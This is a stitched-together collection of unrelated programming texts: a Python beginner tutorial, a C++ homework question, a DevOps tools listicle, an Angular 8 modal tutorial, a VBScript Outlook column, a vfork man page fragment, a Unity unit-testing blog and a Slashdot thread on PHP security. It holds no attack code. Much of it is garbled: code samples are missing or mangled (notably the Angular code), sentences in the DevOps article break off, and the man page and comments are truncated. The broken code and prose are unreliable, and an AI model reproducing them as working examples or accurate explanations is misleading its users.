fstring would work. Say for the input, you put in your name. Then when the print statement would print:
Another way you could do this is with commas. This won't use an f string either. They are also simaler. So how you would print it is like this:
The output would be the same as well! The commas seperate the 2 strings and they add the name inside. But JBYT27, why not a plus sign? Well, this question you would have to ask Guido van Rossum, but I guess I can answer it a bit. It's really the python syntax. The syntax was made that so when you did a plus sign, not a comma, it would give you an error.
Really, the only time you would use this is to give back your name, or to find if one value was equal to each other, which we'll learn in a sec.
4. If, Elif, Else Statements
1. If Statements
If statements, printed as
if, are literally as they are called, if sentences. They see if a sentence equals or is something to an object, it creates an effect. You could think an
ifstatement as a cause and effect. An example of a
ifstatement is:
The output could be:
However, say it isn't JBYT27. This is where the else, elif, try, and except statements comes in!
2. Elif Statements
Elif statements, printed as
elifare pretty much
ifstatements. It's just that the word
elseand
ifare combined. So say you wanted to add more
ifstatements. Then you would do this:
It's just adding more
ifstatements, just adding a
elseto it!
3. Else Statements
Else statments, printed as
else, are like
ifand
elifstatements. They are used to tell the computer that if something is not that and it's not that, go to this other result. You can use it like this (following up from the other upper code):
5. Common Modules
Common modules include:
etc.
So all these modules that I listed, i'll tell you how to use, step by step! ;) But wait, what are modules?
Modules are like packages that are pre-installed in python. You just have to fully install it, which is the module(please correct me if im wrong). So like this code:
When you do this, you successfully import the
osmodule! But wait, what can you do with it? The most common way people use the
osmodule is to clear the page. By means, it clears the console(the black part) so it makes your screen clear-er. But, since there are many, many, many modules, you can also clear the screen using the
replitmodule. The code is like this:
But one amazing thing about this importing is you can make things specific. Like say you only want to import
piand
sqrtfrom the
mathpackage. This is the code:
Let me mention that when you do this, never, ever add an and. Like
from ... import ... and ....
That is just horrible and stupid and...Just don't do it :)
Next is the
timemodule
You can use the time module for:
And yeah, that's pretty much it (i think)
Note:
Next is tkinter, turtle
You can use the
tkintermodule for GUI's (screen playing), you can import it in a normal python, or you can do this in a new repl.
You can use the turtle for drawing, it isn't used much for web developing though.
The math and sys
The math is used for math calculations, to calculate math. The sys is used for accessing used variables. I don't really know how I could explain it to you, but for more, click here
Random
The
randommodule is used for randomizing variables and strings. Say you wanted to randomize a list. Here would be the code:
The output would be a random choice from the variable/list. So it could be pie, JBYT27, cat, or dog. From the random module, there are many things you can import, but the most common are:
etc.
And that's all for modules. If you want links, click below.
Links for modules:
And that's it!
Hooray! We made it through
without sleeping!
Credits to:
Links:
Web links:
Video links:
Otherwise:
I hope you enjoyed this tutorial! I'll cya on the next post!
stay safe!
A nice, structured and concise tutorial. I recommend changing this part though so as to avoid confusion;
ah, ok. Thanks for the suggestion! @StevenVoronko
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https://repl.it/talk/learn/A-nice-structured-and-concise-tutorial/80394/419403
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Need a little help with this program please. How come it doesn't return any values (other than 0) for cost, tax, and charges?
Here's the pseudocode that i coded from:
and the code I wrote:and the code I wrote:Code:input qty while qty > 0 input size call Calculate Scrap using 10 to get scrap 10, qty needed for 10 call Calculate Scrap using 25 to get scrap 25, qty needed for 25 call Calculate Scrap using 40 to get scrap 40, qty needed for 40 if scrap 10 < scrap 25 and < scrap 40 set qty needed to qty needed for 10 set price to 2.10 else if scrap 25 < scrap 10 and < scrap 40 set qty needed to qty needed for 25 set price to 4.90 else set qty needed to qty needed for 40 set price to 7.51 multiply qty needed by price to get cost multiply cost by 1.75 multiply cost by .08 to get tax add tax to cost to get charges output cost, tax, charges input qty Calculate Scrap divide stock by size to get per stock call floor using per stock if size *(per stock + 1/16) > stock subtract 1 from per stock divide qty by per stock to get qty needed call ceiling using qty needed multiply per stock by size to get shipped subtract shipped from stock to get scrap multiply scrap by qty needed
I think I may be passing the values wrong to the function or returning the improper value. Let me know what you think. Any help is appreciated.I think I may be passing the values wrong to the function or returning the improper value. Let me know what you think. Any help is appreciated.Code:#include<iostream> #include<math.h> using namespace std; int Calculate_Scrap(int qtyneeded, int size, int qty); int main() { int qty, size, qtyneeded; double price, cost, tax, charges; int scrap10, scrap25, scrap40; cout <<"\n Enter the quantity: " << endl; cin >> qty; while(qty > 0) { cout << "\n Enter the size: " << endl; cin >> size; scrap10 = Calculate_Scrap(qtyneeded = 10, size, qty); scrap25 = Calculate_Scrap(qtyneeded = 25, size, qty); scrap40 = Calculate_Scrap(qtyneeded = 40, size, qty); if(scrap10 < scrap25 < scrap40) { qtyneeded = scrap10; price = 2.10; } else if(scrap25 < scrap10 < scrap40) { qtyneeded = scrap25; price = 4.90; } else { qtyneeded = scrap40; price = 7.51; } cost = qtyneeded * price; cost = cost * 1.75; tax = cost * 0.08; charges = tax + cost; cout << "\n The cost is " << cost; cout << "\n The tax is " << tax; cout << "\n The charges are " << charges << endl; cout << "\n Enter the quantity or 0 to exit: " << endl; cin >> qty; } return 0; } int Calculate_Scrap(int qtyneeded, int size, int qty) { double perstock, stock, shipped, scrap; stock = 10000; perstock = stock / size; floor(perstock); if((size *(perstock + 1/16)) > stock) { --perstock; } qtyneeded = qty / perstock; ceil(qtyneeded); shipped = perstock * size; scrap = stock - shipped; return scrap * qtyneeded; }
Thanks!
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http://cboard.cprogramming.com/cplusplus-programming/86358-help-please.html
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In this article, let's take a look at 7 best DevOps tools, from automated build tools to application performance monitoring platforms...
DevOps culture is now an integral part of every tech-savvy business and plays a role in many business processes, ranging from project planning to software delivery.As cloud services are prevailing today, the requirement of related supplementary services is growing rapidly. DevOps technologies are increasing as well, so how one should choose the right tools to automate work? There are a lot of opinions.
There are a lot of tools that make DevOps possible, and it will be near impossible to cover them in one article. However, the 7 tools you’ll learn about in this article are some of the most popular and powerful DevOps tools.1. 1,000 the community.
1,000+ plugins are available and easy to create your own, if needed.
It can be used to publish results and send email notifications.
Terraform is an infrastructure-as-code tool that lets you build, change, and manage infrastructure properly. You can consider Terraform to be a provisioning tool. It helps you set up servers, databases, and other kinds of infrastructure that powers full-scale applications.
The code that manages infrastructure using Terraform is written in the Hashicorp Configuration Language (HCL). All of the configurations you need should be in this file as it will include dependencies to let the application run. HCL is declarative, such that you only need to specify the end state you desire, and Terraform will do the rest of the job.
Terraform is not restricted to any particular cloud service provider as it works with multiple cloud providers and environments. There are no issues with compatibility when using Terraform.
Cloud services providers such as AWS, Microsoft Azure, Google Cloud all integrate seamlessly with Terraform. Version Control System hosting providers such as Github and Bitbucket all also work fine with it.
There is an enterprise and open source version and Terraform can be installed on macOS, Linux and Windows systems.3- Ansible
Similar to Terraform, Ansible is also an infrastructure-as-code tool. Ansible is a tool that helps with the deployment of applications, the provisioning and configuration management of servers. Ansible is built in Python and maintained by RedHat. But it remains free and open source.
As a configuration management system, you can use Ansible to set up and build multiple servers. You get to install Ansible on a control machine, without requiring Ansible running on the other servers which can vary from web to app to database servers.
Unlike Terraform, Ansible doesn’t make use of HCL for its code. Instead, the configurations are written in Ansible playbooks which are YAML files. Ansible uses a hybrid of a declarative and procedural pattern. This is different from Terraform, which is solely declarative.
Since Ansible works on a control machine that administers others, it requires a mode of communicating with them. In this case, Ansible uses SSH. It pushes the modules to the other servers from the dominant server. Ansible is an agentless system, as it doesn’t require a deployment agent on the different machines.
Linux is the most suitable operating system for installing Ansible. However, it also works fine on macOS. For Windows users, it is possible to use Ansible through the bash shell from the Windows Subsystem for Linux. a web server or database management system. You can create a cluster of containers distributed across different nodes to have your application up and running in both load balancing and high availability modes. Containers can communicate on a private network, as you most likely (K8s) is a Google open-source tool that lets you administer Docker containers. Since there are often a lot of containers running in production, Kubernetes makes it possible to orchestrate those containers.
It is, however, important to understand the reason to orchestrate Docker containers in the first place. When there are many containers running, it is hard to manually monitor these containers and have them communicating with each other. Asides, this scaling also becomes difficult as well as load balancing.
With Kubernetes, it is possible to bring all these containers under control so this cluster of machines can be administered as one machine. Often compared to Docker Compose, Kubernetes is different as it makes it easier to deploy, scale, and monitor the containers. When any of them crash, they can self-heal, and Kubernetes can spin up new ones as replacements. With K8s, it is possible to do storage orchestration, service discovery, and load balancing easily.
You can install Kubernetes on macOS, Linux, and Windows and use it through the Kubernetes command-line tool.6- RabbitMQ
RabbitMQ is a great messaging and queuing tool that you can use for applications that runs on most operating systems. Managing queues, exchanges and routing with it is a breeze. Even if you have an elaborate configuration to be built, it’s relatively easy to do so, since the tool is really well-documented. You can stream a lot of different high-performance processes and avoid system crashes through a friendly user interface. It's a durable and robust messaging broker that is worth your attention. As RabbitMQ developers like to say, it’s "messaging that just works."
Guaranteed message delivery.
Push work into background processes, freeing your web server up to handle more users.
Scale the most frequently used parts of your system, without having to scale everything.
Handling everything with ease even if it seems to be a huge crash.
Packer is another DevOps tool from Hashicorp on the list. Written in Golang, Packer helps you automate the creation of virtual images. The process of manually building images can be frustrating as it is error-prone, but Packer eliminates all of that.
With a single JSON file, you can use Packer to create multiple images. So when it works the first time, there’s a guarantee that it will work the hundredth time since nothing interferes in the automation process. Many cloud service providers work with images, so you can seamlessly work with those providers since Packer standardizes the creation of images for the cloud environments.
Packer doesn’t work as a standalone tool. You can integrate it with Ansible, Chef, and Jenkins so the images can be used further down in the deployment pipeline. The installation process is not complicated, and you can learn to get started with the tool.
The concept of DevOps is can be very beneficial to getting large-scale applications to be performant under different kinds of load or traffic. It also makes the software deployment pipeline easy to manage.
However, the concepts DevOps are hard to implement without the availability of tools. There are many tools in this space and companies have varying choices.
Thanks for reading.
In this tutorial we'll cover how to implement modal windows (dialog boxes) in Angular 8 with TypeScript. The example is a custom modal without the need for any 3rd party libraries..
npm installfrom the command line in the project root folder (where the package.json is located).
npm startfrom the command line in the project root folder.
NOTE: You can also run the app directly using the Angular CLI command
ng serve --open. To do this first install the Angular CLI globally on your system with the command
npm install -g @angular/cli..
Breakdown of the Angular 8 Custom Modal CodeBreakdown of the Angular 8 Custom Modal Code
import { Component, OnInit } from '@angular/core'; import { ModalService } from '../_modal'; ); } }
Below is a breakdown of the pieces of code used to implement custom modal dialogs in Angular 8 & 8.
Angular 8 Modal ServiceAngular 8 Modal Service
/*; }
The Angular 8 modal service manages the communication that's required between page components and modal components. It maintains a list of available modals on the page and exposes methods for interacting with those modals.
Angular 8 Modal ComponentAngular 8 Modal Component const modal = this.modals.find(x => x.id === id); modal.open(); } close(id: string) { // close modal specified by id const modal = this.modals.find(x => x.id === id); modal.close(); } }.
Angular 8 Modal Component TemplateAngular 8 Modal Component Template', el => { if (el.target.className === 'jw-modal') {>
Thanks for reading ❤
If you liked this post, share it with all of your programming buddies! Angular 8 Tutorial - User Registration and Login Example
☞ How to build a CRUD Web App with Angular 8.0
☞ Building CRUD Mobile App using Ionic 4, Angular 8
☞ Angular 8 Material Design Tutorial & Example
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Hey, Scripting Guy! How can I go through all the emails in an Outlook folder and determine which messages are flagged for follow-up and which messages were flagged for follow-up but are now complete?-- KF
Hey, KF. We’ll be honest with you: we’re going to try to get to your question today, but first we’ve got something far more important to do. Yesterday when he got home the Scripting Guy who writes this column found a letter in his mailbox from the Cambridge Who’s Who. This letter informed him that he was “being considered for inclusion in the 2007/2008 Cambridge Who’s Who Among Executives and Professionals ‘Honors Edition’ of the Registry.”
Was the Scripting Guy who writes this column excited by this? That’s putting it mildly; as the letter notes “Inclusion is considered by many as the single highest mark of achievement.” You can count the Scripting Guy who writes this column as being one of those people who consider this their single highest mark of achievement. And no, that isn’t because he doesn’t actually have any other achievements. He doesn’t, but that’s not why he’s so excited.
Hold on a second here. You know, now that we look at this a little more closely we realize that there’s a string attached: to actually be included in the Registry itself you need to fill out an application form, indicating such things as the company you work for, your job title, and your specialty. Uh-oh; apparently you don’t get this honor unless you’ve actually done something to deserve it. Is that a problem? You bet it is. After all, we were hoping this was like the Nobel Prize for Literature which, as near as we can tell, is awarded simply by drawing names out of a hat.
So what exactly is the Scripting Guy who writes this column’s specialty? To tell you the truth, we were hoping you’d tell us. But let’s see, he can … um … he’s good at … he …. Oh, wait we know: he can write scripts that can go through all the emails in an Outlook folder and determine which messages are flagged for follow-up and which messages were flagged for follow-up but are now complete:
Const olFolderInbox = 6
Set objOutlook = CreateObject("Outlook.Application")
Set objNamespace = objOutlook.GetNamespace("MAPI")
Set objFolder = objNamespace.GetDefaultFolder(olFolderInbox)
Set colItems = objFolder.Items
For Each objItem in colItems
If objItem.FlagStatus = 1 Then
Wscript.Echo "Follow-up complete"
Wscript.Echo objItem.Subject
Wscript.Echo
End If
If objItem.FlagStatus = 2 Then
Wscript.Echo "Marked for follow-up"
Wscript.Echo objItem.Subject
Wscript.Echo
End If
What’s that? You’d like to know how this script actually works? Well, explaining things isn’t exactly our specialty, but we’ll see what we can do.
We start out by defining a constant named olFolderInbox and setting the value to 6; that’s going to tell our script which folder we want to work with. And that folder is – oh, that’s right: the Inbox folder. Apparently the constant name was a bit of a giveaway, wasn’t it?
Oh, well; so much for the suspense, huh? (Fortunately writing stuff that has no suspense and no plot will actually help our chances of getting the Nobel Prize for Literature.) After defining the constant olFolderInbox we then use these three lines of code to create an instance of the Outlook.Application object, connect to the MAPI namespace, and bind to the Inbox folder:
Set objOutlook = CreateObject("Outlook.Application")
Set objNamespace = objOutlook.GetNamespace("MAPI")
Set objFolder = objNamespace.GetDefaultFolder(olFolderInbox)
Once we’ve done that we then use this line of code to return a collection of all the mail messages found in that folder:
Set colItems = objFolder.Items
At this point there are at least two different paths we can take: we can write a filter to weed out messages that don’t have any follow-up flag setting, or we can simply loop through the entire collection and check the flag setting for each and every item. Because people tend to find Outlook filters confusing we’ve opted to loop through the entire collection. But if you’re willing to tackle filter writing you’ll find some information about that very thing in this Office Space article.
And no, we can’t guarantee that writing an Outlook filter script will get you included in the Registry alongside the Scripting Guy who writes this column. But it can’t hurt.
Seeing as how we’ve decided to loop through the entire collection our next step is to set up a For Each loop that, well, loops through the entire collection. The first thing we see inside that loop is a block of code that looks like this:
If objItem.FlagStatus = 1 Then
Wscript.Echo "Follow-up complete"
Wscript.Echo objItem.Subject
Wscript.Echo
End If
What we’re doing here is examining the value of the FlagStatus property. If FlagStatus is equal to 1 that means that this particular email was originally marked for follow-up but the follow-up is now complete. (In Outlook itself you’ll see a little checkmark in the status column.) Therefore, we echo back the fact that follow-up is complete; in addition, we echo back the email Subject line (just so we can tell which message has been marked as follow-up complete).
Good question: what about emails that are still marked for follow-up? Well, that’s what this block of code is for:
If objItem.FlagStatus = 2 Then
Wscript.Echo "Marked for follow-up"
Wscript.Echo objItem.Subject
Wscript.Echo
End If
Here we’re checking to see if the value of FlagStatus is equal to 2; it probably goes without saying that this represents an email still marked for follow-up. In a case like that we then echo back the appropriate message (Marked for follow-up) as well as the subject line.
And then, of course, we loop around and repeat the process with the next message in the Inbox. What if we encounter an email that has no follow-up status of any kind (neither complete nor pending)? That’s easy. That means that the FlagStatus for the message is equal to 0, which in turn means that we simply skip that particular email.
Incidentally, there are a couple of other follow-up related properties you might be interested in. For example, if you’d like to know the actual color of the flag assigned to a message use the FlagIcon property and one of these values:
Constant
Value
olBlueFlagIcon
5
olGreenFlagIcon
3
olNoFlagIcon
0
olOrangeFlagIcon
2
olPurpleFlagIcon
1
olRedFlagIcon
6
olYellowFlagIcon
4
And if you’d like to know when you’re supposed to follow-up a message you can look at the value of the FlagDueBy property. (If no due date has been assigned then this property defaults to 1/1/4501, which probably still isn’t enough time for the Scripting Guy who writes this column to follow-up on all the items he has marked for follow-up.) As an added bonus, all these properties are read/write, which means you can programmatically change the follow-up status, icon, or due date. Pretty cool, huh?
OK; so much for that. We’re willing to bet that some of you are skeptical about this whole Who’s Who thing. “Is the Scripting Guy who writes that column really among the ‘country’s most accomplish professionals,’” you’re wondering, “or is his name simply on some mailing list somewhere?” To tell you the truth, we’re not worried about that. After all, when you’ve earned as many honors and awards as the Scripting Guy who writes this column (0, unless you count making the Little League and PONY League All-Star teams), well ….
Hey, wait a second: why don’t you count making the Little League and PONY League All-Star teams? That’s way more than Bill Gates ever did.
Well, baseball-wise, anyway.
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http://blogs.technet.com/b/heyscriptingguy/archive/2007/03/12/how-can-i-determine-the-follow-up-status-of-outlook-emails-3-12-07.aspx
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VFORK(2) Linux Programmer's Manual VFORK(2)
vfork - create a child process and block parent
The; see), _exit(2), fork(2), unshare(2), wait(2)
This page is part of release 5.11 of the Linux man-pages project. A description of the project, information about reporting bugs, and the latest version of this page, can be found at. Linux 2021-03-22 VFORK(2)
Pages that refer to this page: strace(1), clone(2), fork(2), getpid(2), ptrace(2), setns(2), syscalls(2), unshare(2), posix_spawn(3), persistent-keyring(7), pid_namespaces(7), session-keyring(7), user-keyring(7), user-session-keyring(7)
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Unit test definition: a unit test is a very important tool in traditional software development, which is to check and verify the smallest unit of testing in software, in general, to verify the correctness of a function in your code. A unit test is an automated code that calls the unit of work that's tested, and then checks for some assumptions about the individual final results of the unit. Unit tests are written using unit test frameworks and require reliable, readable, and. The result of a unit test is stable as long as the product code doesn't change. ( baidu )
A unit test can find bugs in early stages of software development without having to go to integration tests, and develop a module ( class, function ) to perform a unit test. ( unit test is a bar. ). )
In the course of the work, is very rare to find a unit of unit testing on their own writing functions. In general, after you've developed the function, write two tests ( and even don't test ), and you can't see any problems in the svn or git repository. As a result, the test team will return to a lot of low-level bugs that can be avoided in advance. Of course, they don't have the habit of unit tests, or they don't have to do unit tests because they're too much work, too long, and so on. ( live to don't finish, also do hair test, delay doesn't catch money ). )
All right, it's a free session. It says we've a unit test. The unit test currently has a lot of mature frameworks for us to use, and I recommend that it's the editor run runner that comes with unity editor, but it's. Editor _ test runner is the implementation of the open source unit testing tool nunit in unity engine, which is the version 2. 6. 4 used in unity.
Editor test runner can be opened with the window editor> runner menu, as shown in the following figure:
Display the currently added unit test cases in this window, as well as the case they pass. First, you need to click the run all button in the corner of the window to perform all unit tests. The green pair indicates that the use case is passed by the unit test, and the red symbol indicates that the unit test isn't passed.
Let's look at how to write the code for a unit test. The unit test code and the game runtime code are saved separately, which is available only in the editor environment, so you need to put it in the editor directory.
First of all, we define a custom type error exception for the following test. It's possible to make it directly inherited from an epr, as follows:
using System; using System.Collections.Generic; using System.Linq; using System.Text; /// <summary> /// 自定义的异常类型 /// </summary> class NegativeHealthException : ApplicationException { }
Here are the modules or code that we need to test. Assuming a player class in the game code represents the actor color, there are several functions used to reduce the amount of blood loss when players are damaged, or. Where the damage function writes three versions, one is correct, two are returning the error results. In the correct function, when the value of health is less than 100, an exception that we just customized is thrown. The code looks like this:
1 using System.Collections; 2 using System.Collections.Generic; 3 using UnityEngine; 4 5 public class Player{ 6 7 public float Health { get; set; } 8 9 #region 正确的方法 10 11 public void Damage(float value) 12 { 13 Health -= value; 14 if (Health <0) 15 { 16 throw new NegativeHealthException(); 17 } 18 } 19 20 public void Recover(float value) 21 { 22 Health += value; 23 } 24 #endregion 25 26 #region 错误的方法 27 28 public void DamageWrong(float value) 29 { 30 Health -= value + 1; 31 } 32 33 public void DamageNoException(float value) 34 { 35 Health -= value; 36 } 37 #endregion 38 }
Then we'll write the unit test code. Here we create a class called PlayerTest that writes two functions that represent two test cases. In order for unity to identify these two functions, we need to add the properties of [ _ test ] before the function, so that all functions with the [ test ] attribute.
1 using System.Collections; 2 using System.Collections.Generic; 3 using NUnit.Framework; 4 using UnityEngine; 5 6 public class PlayerTest{ 7 8 [Test] 9 public void TestHealth() 10 { 11 Player player = new Player(); 12 player.Health = 1000.0f; 13 14 //通过Assert断言来判断这个函数的返回结果是否符合预期 15 player.Damage(200); 16 Assert.AreEqual(800,player.Health); 17 18 player.Recover(150); 19 Assert.AreEqual(950,player.Health); 20 } 21 22 [Test] 23 [ExpectedException(typeof(NegativeHealthException))] 24 public void NegativeHealth() 25 { 26 Player player = new Player(); 27 player.Health = 1000; 28 29 player.Damage(500); 30 player.Damage(600); 31 } 32 33 }
When you're writing to [ ExpectedException ( typeof ( negativehealthexception ) ], vs will be warned that the ExpectedException isn't found. This is because ExpectedException is the content of a unit test that belongs to vs, so we also need to use using nunit. Framework; we also need to use nunit. Framework; to introduce the vs 's unit test module. But if you find that the module cannot be introduced, vs doesn't automatically complete this namespace, even if it's manually written or prompted. What's this.
It's well known that unity. Net is based on mono because some reasons cause mono to not contain content in all microsoft native. Net libraries. That's, some of the classes that you use in projects like winform, wpf, and so on aren't perfect in mono, which is why there are modules that don't find unit tests. In fact, this is a good solution, and we can use it in the ide as long as we find the dll for the unit test module in vs ( called microsoft. Visualstudio. QualityTools. UnitTestFramework. Dll ), and then introduce it in the ide. Detailed procedures are as follows:
1. Locate the location of the unit test module dll in vs, which is queried on stackoverflow, we know that microsoft. Visualstudio. QualityTools. UnitTestFramework. Dll is generally in C:Program files ( x86 ) microsoft visual studio 10.0 common7idepublicassembliesmicrosoft. Visualstudio. QualityTools. As shown in the following illustration:
2. Manually copy this dll to the unity project and refer to it in our solution. Create a new folder named plugins in our unity project, and then copy the above microsoft. Visualstudio. QualityTools. UnitTestFramework. Dll to the folder, and then reopen our vs solution, and you can find that the module is automatically referenced, and you can safely use the code.
In traditional c # projects, we're referring to a dll that imports a by a new reference on the reference project of the vs solution, but in the unity project, we find that there's no option on the reference option. In fact, simply copy the dll to the"plugins"directory as described above, vs will automatically reference the dll to our project, very convenient.
In the above test function, if we want to test whether the function is working correctly, you need to use assert. AreEqual to determine whether the return result of this function is consistent with the expected result. If the assert. AreEqual judgment results are correct, the test runner window will be used in a green pair to indicate that the test is in the case of a red. A second negativehealth test case function is used to determine whether the function throws an exception correctly, and if no exception is thrown as expected, it's considered a failed test case. If you need to capture an exception that's consistent with your expected value, you need to add another attribute [ ExpectedException ( typeof ( negativehealthexception ) ) ] before the function. As you can see from the following figure, the two test cases that we've written are passed, showing as green.
At this point, you may find that the above script corresponds to the PlayerTest part of the test results, and there's no playertestwrong grouping. This is because we can add more than one test script in the editor directory, which can test code for the same module, or test code for different modules at the same time. Let's take a look at how playertestwrong 's script is written, its content is very similar to the previous test code, except that the function that returns the error value is called.
1 using System; 2 using System.Collections.Generic; 3 using System.Linq; 4 using System.Text; 5 using NUnit.Framework; 6 7 8 class PlayerTestWrong 9 { 10 [Test] 11 public void TestHealthWrong() 12 { 13 Player player = new Player(); 14 player.Health = 1000.0f; 15 16 player.DamageWrong(200); 17 Assert.AreEqual(800,player.Health); 18 19 player.DamageWrong(150); 20 Assert.AreEqual(950,player.Health); 21 } 22 23 [Test] 24 [ExpectedException(typeof (NegativeHealthException))] 25 public void NegativeHealthNoException() 26 { 27 Player player = new Player(); 28 player.Health = 1000; 29 30 player.DamageNoException(500); 31 player.DamageNoException(600); 32 } 33 }
The basic use methods for the editor run runner are introduced here, and a small trick is described below. If you want to implement a fully automated unit test, you might consider using batch to automate testing, which also provides a batch way for unity. If you need to use this feature, just pass in the following parameters when you run unity, the meaning of each parameter is please look at unity official documentation.
For game developers, unit tests may be strange. However, as the game complexity grows, many companies with a certain scale will develop multiple projects at the same time. We'll find that there are many functions that are encapsulated as generic tools. In this case, if we don't pay attention to the quality of the code, it'll cause a bug to affect the speed of multiple projects at the same time. Therefore, we recommend that you add unit tests to more important modules, as well as reuse of code in time allowed.
Finally, the project source demo demonstrated in this blog:
Github address:. com/XINCGer/Unity3DTraining/tree/master/Unit4Unity/Editor % 20Test % 20Runner welcome.
Reference material:. com/questions/3293317/where-is-the-microsoft-visualstudio-testtools-unittesting-namespace-on-vs2010.
The author:
Source:. Cnblogs. com/msxh/p/7354229. Html.
Please respect the of others to make sharing a kind of advantage, welcome to copy. In addition, in terms of expression and code, the welcome batch evaluation is positive. Leave your footprint, welcome comments.
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vCardOrganizer 1.1
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>>."
So, PHP means ? (Score:4, Funny)
Re: (Score:2, Insightful)
Re:So, PHP means ? (Score:5, Insightful)
And if inexperienced scripters is really the major problem, then the PHP developers need to take them into account when developing PHP. This means that the PHP developers need to add features to their product that help prevent such inexperienced people from writing easily-exploitable scripts. There has been some work done in this area, but it's been minimal, and so far ineffective.
Yes, inexperienced developers probably are responsible for many of the problems. But the more experienced (I would hope) developers of PHP itself need to step up to the plate, and do their part to deal with the problem of inexperienced developers writing poor code. Even if they don't do it in order to offer a better product, they should do it to save the few remaining strands of their reputation.
Re: (Score:2, Interesting)
Re:Pot calling the kettle black (Score:4, Interesting)
I'm a programmer. I work with PHP. I see a hell of a lot of problems with its design and implementation. Am I ready to dump it and switch to something better? You bet. I've been waiting for the chance for the last 5 years or more.
Can I actually do this?
No. The marketplace is such that if I implement my solutions in any other environment, I'm cutting myself out of large chunks of the market simply because people might choose a hosting provider that doesn't support whatever alternative language I choose to use.
Re: (Score:2)
If you are making that mistake you should probably not be flaming anyone.
Re:So, PHP means ? (Score:5, Interesting)
PHP is also forever afraid of breaking backwards compatibility. They probably don't want to scare PHP coders.
They also have issues around the monolithic nature of PHP. Oh, you want image processing? Recompile PHP! Oh, you need XML processing? Recompile PHP! There is no isolation whatsoever, everything resides in the same namespace.
I am glad that they are making progress, though. PHP 5 finally brought their OO up to speed (mostly). They finally have a secure, native database connector (PDO) that supports escaped bound parameters. PHP 6 is finally removing some deprecated features.
That said, I still am weary when I log into a website that holds my personal information and see a ".php" URL.
(I was a full time PHP developer for about 6 years. Was.)
Re: (Score:2, Informative)
Please don't let us see the return of \'magic quotes\'
Re: (Score:2)
Yes, but most hosting companies just switch it straight back on again, to stem the tide of complaints from users who downloaded an old script from somewhere but it doesn't work...
Re: (Score:2)
I was going to gripe about it being an issue for the hosting companies (we've had it disabled on our servers for several years), but now that I think about it, you're right: Register Globals is a "wings fall off" button.
Re: (Score:3, Funny)
Re: (Score:2)
Re: (Score:2)
I understand the point you're making, but why don't you just run it in CGI mode if you don't want to recompile, or use dl() to load the exten
Take down the service? (Score:3, Insightful)
Really? Leaving aside the matter of using shared libraries, whenever I've had to add features to PHP it's gone like this:
The only actual downtime occurs during step 5, which lasts maybe a second at most. This is Linux after all -- you can run the
From the PDO docs page: (Score:3, Informative)
The default behavior in case of database problems is to display the host, u
Re: (Score:3, Interesting)
You are correct, but that doesn't make net irritants that are permi
Maybe he could stagger it out (Score:2)
Re: (Score:2)
Especially us poor bastards that have 500 + servers to patch. I'm sure (err, hope?) they will do it responsibly , however I still see this being a *very* interesting month.
I'm a bit ambivalent (Score:2)
Re: (Score:2)
Re: (Score:2)
great... (Score:5, Informative)
Re: (Score:2, Funny)
Re:great... (Score:4, Insightful)
Re:
Re: (Score:2, Insightful)
Re: (Score:2)
Re: (Score:2)
I'm not sure how I feel about that statement.
I'm the primary developer of an opensource PHP-based application, and I can attest that PHP security is more in the hands of the application developer. Yes, we've all heard some of the stupid PHP Nuke exploits, people not quoting their SQL properly
... but should the PHP interpreter developers really be held accountable for other peoples'
Re: (Score:2)
Re: (Score:2)
I understand ; I was complaining about the general dumping on PHP applications which seems to follow any thread with the word "PHP" in it.
Re: (Score:3, Insightful)
In the case of SQL injection attacks, definitely yes. They provide add_slashes(), oh, but wait, that's insecure, so they provided mysql_escape_string() instead. Oh wait, that's insecure too, so they provided mysql_real_escape_string() instead. All the while, ignoring the fact that string concatenation is prone to security problems by its very natu
Re: (Score:3, Interesting)
There are many reasons that add_slashes is insecure, and if you think about it, you should be able to come up with a few yourself. Have you ever heard of Unicode? Do you really know what the quoting conventions of your database are, or are you just assuming that add_slashes somehow magically does? Have you even bothered to use google or read any of the many security articles about PHP? Obviously not. And the same goes for so many other PHP developers. They need training wheels and adult supervision, otherw
Re: (Score:3, Insightful)
Re: (Score:3, Insightful)
I'm sure that after the dust has settled PHP will be more secure than it was, and that can only be a good thing.
Re: (Score:2)
That's like saying that the ocean will be more wet after it's been raining for a day than it was before.
NM (Score:2)
Re: (Score:2)
Arr? (Scooby-doo head tilt)
Re: i
Re: (Score:2)
Well, yes, but the fact is that there is incalculably higher risk from an unpatched, publicised bug (especially if more than a few weeks old) than there is in an unpublicised one. Almost all exploits occur using well known bugs, even if you discount worms.
Re:great... (Score:4, Funny)
[Ducks down and hopes next month isn't the "31 days of Perl Bugs"]
-Eric
Re: (Score:2): (Score:2)
Looks like this will also be "Month-of-me-working-harder-to-make-sure-my-site- i s-patched- and-updated-and-not-exploited-by-script-kiddies"
Well, if the article is to be believed and the PHP team hasn't much cared about some of these bugs, patching and updating won't help you. In any event, these bugs won't be fixed live. So they will result in potential compromise you won't be able to stop, likely.
In other words, this will also be "Month-of-you-getting-bent-over-by-open-security-h oles-in-PHP-you-can'
Re: (Score:2)
You can thank the PHP internals and Zend about this. Having to deal with them at some points, they are literally like having to handle a bunch of spoiled children on a mission to have fun on your expense.
I've said it plenty of times and I'll say it again: PHP is going down, fast. The only reason to use it right now, is because there's still some money to be made from cl
Re: (Score:2)
(Much) faster, more stable and more consistent alternatives currently include Mono (C# - an excellent language), Python, Java and possibly Ruby 2.0, from the looks of it.
I hear this a lot. PHP has a massive installed base of working apps. There is no compelling reason to move to a new language simply because it appears to be more secure at the expense of not having functional applications.
Re: (Score:3, Interesting)
Re: (Score:2)
I actually persuaded my business partner to authorise a 2-month long project to reimplement all the features we need from phpBB from scratch, rather than use original code, just for this reason. It didn't take much work to convince him that we didn't want the hassle of having to deal with regular [netcraft.com] 0-day [netcraft.com] exploit [astahost.com] sc
Huh (Score:5, Funny)
March that never ended (Score:2)
even if... (Score:3, Insightful)
Re:even if... (Score:5, Informative)
Re: (Score:2)
Re: (Score:2)
Re: (Score:2)
Maybe what he cared more about was security, not the language.
Re:even if... (Score:5, Insightful)
Fork marketing? (Score:2)
Re: (Score:2)
sure - i understand the frustration that's driving him. and i guess the MoPHPb will wake some folks up, hopefully the devs. but it'll wake up script-kiddies, too. in fact, that's what i fear most, it might only wake up the script kiddies, as the devs didn't seem to care in the past and that leaves more than thirty unpatched publicly documented security holes and a few folks, who need to run php. what a lot of fun...
The script kiddies are already awake. The probes for PHP vulnerabilities are getting mor
Re: (Score:3, Insightful)
Re: (Score:2)
I wanted to like PHP
Re: (Score:2)
Strange. I have a s
Hear, hear. (Score:4, Insightful)
Re: (Score:2)
1. Define in a config file a variable that specifies the location of your code, e.g.:
config.inc:
